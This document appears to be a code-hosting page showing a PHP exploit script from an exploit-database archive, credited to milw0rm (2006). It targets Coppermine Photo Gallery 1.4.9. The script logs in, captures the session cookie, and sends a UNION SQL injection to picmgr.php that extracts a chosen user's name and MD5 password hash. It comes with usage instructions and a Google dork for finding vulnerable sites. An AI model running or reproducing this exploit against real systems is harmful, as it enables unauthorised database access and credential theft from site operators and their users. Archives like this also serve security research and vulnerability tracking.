PageRenderTime 50ms CodeModel.GetById 25ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/php/webapps/2660.php

https://bitbucket.org/DinoRex99/exploit-database
PHP | 103 lines | 68 code | 11 blank | 24 comment | 5 complexity | 008f2296e215c201da98520eee998d33 MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/php
  2. <?php
  3. /*********************************************************************
  4. * Coppermine Photo Gallery 1.4.9 Remote SQL Injection Vulnerability
  5. *
  6. * Note:
  7. * Requires a valid user account.
  8. *
  9. * Usage:
  10. * php script.php [host] [path] [table prefix] [user id] [username] [password]
  11. *
  12. * Usage Example:
  13. * php script.php domain.com /coppermine/ cpg149_ 1 john secret
  14. *
  15. * Googledork"
  16. * "Powered by Coppermine Photo Gallery"
  17. *
  18. * Credits:
  19. * Disfigure - Vulnerability research and discovery
  20. * Synsta - Exploit scripting
  21. *
  22. * [w4ck1ng] - w4ck1ng.com
  23. *********************************************************************/
  24. if(!$argv[6]){
  25. die("Usage:
  26. php $argv[0] [host] [path] [table prefix] [user id] [username] [password]\n
  27. Usage Example:
  28. php $argv[0] domain.com /coppermine/ cpg149_ 1 john secret\n");
  29. }
  30. if($argv[6]){
  31. function send($host,$put){
  32. global $data;
  33. $conn = fsockopen(gethostbyname($host),"80");
  34. if(!$conn) {
  35. die("Connection to $host failed...");
  36. }else{
  37. fputs($conn,$put);
  38. }
  39. while(!feof($conn)) {
  40. $data .=fgets($conn);
  41. }
  42. fclose($conn);
  43. return $data;
  44. }
  45. $host = $argv[1];
  46. $path = $argv[2];
  47. $prefix = $argv[3];
  48. $userid = $argv[4];
  49. $userl = $argv[5];
  50. $passl = $argv[6];
  51. $post = "username=".urlencode($userl)."&password=".urlencode($passl)."&submitted=Login";
  52. $req = "POST ".$path."login.php?referer=index.php HTTP/1.1\r\n";
  53. $req .= "Referer: http://".$host.$path."login.php?referer=index.php\r\n";
  54. $req .= "Host: $host\r\n";
  55. $req .= "Content-Type: application/x-www-form-urlencoded\r\n";
  56. $req .= "Content-Length: ".strlen($post)."\r\n";
  57. $req .= "Connection: Close\r\n";
  58. $req .= "Cache-Control: no-cache\r\n\r\n";
  59. $req .= $post;
  60. send("$host","$req");
  61. /* Borrowed from rgod. */
  62. $temp = explode("Set-Cookie: ",$data);
  63. $temp2 = explode(" ",$temp[1]);
  64. $cookie = $temp2[0];
  65. $temp2 = explode(" ",$temp[2]);
  66. $cookie .= " ".str_replace(";","",$temp2[0]);
  67. $cookie = str_replace("\r","",$cookie);
  68. $cookie = str_replace("\n","",$cookie);
  69. $sql = urlencode("123 UNION SELECT user_id,user_group,concat(user_name,char(58,58),user_password) FROM ".$prefix."users where user_id = ".$userid." --");
  70. $req = "GET ".$path."picmgr.php?aid="."$sql HTTP/1.1\r\n";
  71. $req .= "Host: $host\r\n";
  72. $req .= "Content-Type: application/x-www-form-urlencoded\r\n";
  73. $req .= "Cookie: ".$cookie."\r\n\r\n";
  74. $req .= "Connection: Close\r\n\r\n";
  75. send("$host","$req");
  76. $gdata = explode("<option value=\"picture_no=1,picture_nm=",$data);
  77. $ghash = explode(",action=0\">",$gdata[1]);
  78. $hash = $ghash[0];
  79. $uname = explode("'",$hash);
  80. $uname = explode("::",$uname[1]);
  81. $username = $uname[0];
  82. $fhash = explode("::",$hash);
  83. $fhash = explode("',picture_sort=100",$fhash[1]);
  84. $finalhash = $fhash[0];
  85. if(strlen($finalhash) != 32){
  86. die("Exploit failed..\n");
  87. }else{
  88. die("Username: $username MD5: $finalhash\n");
  89. }
  90. }
  91. ?>
  92. # milw0rm.com [2006-10-27]